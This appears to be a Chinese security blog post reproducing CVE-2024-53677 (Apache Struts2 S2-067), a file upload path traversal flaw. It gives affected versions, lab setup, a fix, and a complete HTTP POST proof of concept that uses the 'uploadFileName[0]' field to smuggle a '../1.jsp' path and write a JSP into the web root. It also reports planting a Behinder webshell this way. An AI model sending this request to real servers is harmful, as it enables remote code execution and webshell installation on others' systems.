CVE-2024-53677:Apache Struts2文件上传逻辑漏洞S2-067

CVE-2024-53677:Apache Struts2文件上传逻辑漏洞S2-067

原创 hexixi Timeline Sec 2024-12-20 10:10

关注我们❤️,添加星标🌟,一起学安全!作者:hexixi@Timeline Sec 本文字数:2290阅读时长:3~5mins 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Apache Struts2 是一个流行的 Java Web 应用程序框架,广泛用于开发企业级应用。该漏洞出现在 Struts2 的文件上传功能中,由于缺乏对上传文件类型的严格验证,攻击者可以绕过文件类型过滤规则,上传恶意文件,从而在目标系统上执行任意代码或开展进一步的攻击。

0x02 漏洞概述

漏洞编号:CVE-2024-53677在远程服务器代码中使用了FileUploadInterceptor作为文件上传组件时,Apache Struts在文件上传逻辑上存在漏洞。攻击者可以利用该漏洞进行路径遍历,成功利用该漏洞可以使攻击者能够上传恶意文件,从而导致远程代码执行。

0x03 利用条件

1)影响版本Struts 2.0.0 – Struts 2.3.37(EOL)Struts 2.5.0 – Struts 2.5.33Struts 6.0.0 – Struts 6.3.0.22)所需权限:无权限要求

3)其他条件:存在上传点且使用了FileUploadInterceptor作为文件上传组件

0x04 环境搭建

idea打开源码,选择本地tomcat,在Deployment中如图所示部署(环境源码:后台回复HJ-S2-067

运行,访问http://localhost:8080/untitled_war

0x05 漏洞复现

利用poc上传一个测试jsp,利用路径穿越到web根目录

POST /untitled_war/uploads.action HTTP/1.1
Host: IP:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://172.16.65.98:8080/untitled_war/
Content-Type: multipart/form-data; boundary=---------------------------376058448320617365003265882680
Content-Length: 529
Origin: http://192.168.0.116:8080
Connection: close
Cookie: JSESSIONID=953590EEDDD585B3CFE1A15E18C518C9
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------376058448320617365003265882680
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: application/octet-stream

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>

<body>
    <p>test</p>
</body>
</html>


-----------------------------376058448320617365003265882680
Content-Disposition: form-data; name="uploadFileName[0]";

../1.jsp
-----------------------------376058448320617365003265882680--


可以被解析

同样方式上传冰蝎马到web根目录

成功连接webshell

0x06 修复方式

将框架升级到官方发布的最新版本并且使用ActionFileUploadInterceptor作为文件上传组件。

参考链接

https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

历史复现

CVE-2020-17530
CVE-2019-0230

回复
【加群】
进入微信交流群回复
【SRC群】进入SRC-QQ交流群回复
【新人】领取新人学习指南资料回复
【面试】获取渗透测试常见面试题

回复
【手册】
获取原创技术PDF手册

回复
【合作】获取各类安全项目合作方式回复
【帮会】付费加入SRC知识库学习回复

培训】
获取TimelineSec创办的实战课程

视频号:搜索
TimelineSec

官方微博:#小程序://微博/tPbUYdN9EucSD4C

哔哩哔哩:
https://space.bilibili.com/52459
‍1903

觉得有用就点个赞吧!

欢迎评论区留言讨论~